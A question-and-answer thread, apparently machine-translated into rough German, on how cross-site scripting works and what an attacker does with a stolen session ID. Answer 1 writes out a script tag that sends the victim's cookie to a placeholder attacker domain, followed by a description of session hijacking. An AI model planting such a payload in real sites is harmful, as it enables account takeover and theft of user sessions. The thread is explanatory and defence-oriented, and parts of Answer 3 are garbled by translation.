Wie XSS-Angriff wirklich funktioniert?

Question

Also, die Website von XSS-Angriff zu verhindern ist sehr einfach, Sie müssen nur htmlspecialchars Funktion verwenden und Sie sind gut.
Aber wenn Entwickler vergessen, es zu benutzen, was können Angreifer/Hacker tun? Er kann deine Session-ID bekommen, richtig? Und hier ist eine Frage. Was kann er damit machen?
Vielen Dank.

Answer 1

Also, Website von XSS-Angriff zu verhindern ist sehr einfach, Sie müssen nur htmlspecialchars Funktion verwenden und Sie sind gut.

Richtig. Verwenden Sie es überall, wenn Sie Benutzer-gesteuerten Eingang wieder anzuzeigen. Dies betrifft alle Teile der HTTP-Anfrage: Header, Body und Parameter.

Aber wenn Entwickler vergessen, es zu benutzen, was können Angreifer/Hacker tun?

Er/sie kann bösartiges HTML/Skript einfügen. Z.B.die folgend in einiger Nachricht/Kommentar auf einer Webseite:

<script>document.write('<img src="http://hackersdomain.com/fake.gif?' + escape(document.cookie) + '" width=0 height=0>');</script> 

Die oben wird zusammen mit dem Dokument Cookie als Query-String ein Bild aus der mailicious Domain beantragen.

Er kann Ihre Session-ID bekommen, richtig? Und hier ist eine Frage. Was kann er damit machen?

Die Sitzungs-ID wird in einem Cookie gespeichert. Sobald der Hacker darüber informiert wurde, dass ein Bild mit dem Cookie in der Abfragezeichenfolge angefordert wurde, muss er lediglich den Cookie des Browsers so bearbeiten, dass er die gleiche Sitzungs-ID enthält, um als der ursprüngliche Benutzer angemeldet zu werden. Dies ist offensichtlich sehr gefährlich, wenn der ursprüngliche Benutzer der Site-Administrator ist.

Answer 2

Starten über XSS Lesen hier: http://en.wikipedia.org/wiki/XSS und http://en.wikipedia.org/wiki/Cross-site_scripting

Answer 3

Attacker A wird Mitglied der B-Stelle C mit B Anmeldeinformationen über eine der sorgfältig konstruierten URI zuzugreifen.

A kann dann alle JS, die sie auf C mögen, mit den Anmeldeinformationen von B ausführen.

Dies ermöglicht es ihnen zu:

• präsentieren jede Information, die sie als B wie wenn es von C kam
• Get B Browser alle Informationen, die sie bis A
  • Konto von C senden möchten
  • Privatinformationen Details
• jede Anweisung senden auf Seite C, als ob es von einem Spam kam
  • Publish
  • Geld auf dieses Konto
  • Kaufen Sie dieses sehr teuer eBook

Answer 4

Wenn Sie eine XSS-Schwachstelle auf Ihrem Website, dann kann ein Hacker jeden HTML-Code in die Seite einfügen, einschließlich eines Tags <script>. Wenn ich auf Ihrer Website angemeldet bin und die angegriffene Seite besuche, wird mein Browser das dort vom Hacker eingefügte JavaScript ausführen und meinen Browser dazu bringen, alles zu tun, was der Hacker beabsichtigt hat.

Senden Sie beispielsweise eine POST-Anfrage an Ihren Server, um mein Passwort zu ändern, und laden Sie eine URL vom Server des Hackers, um ihn über meine Kontonummer zu informieren, damit er sich anmelden und mein Konto stehlen kann.

Answer 5

Dies ist die beste explenation von XSS ich je in ran: Flash Animation Example

Hier ist die Second Video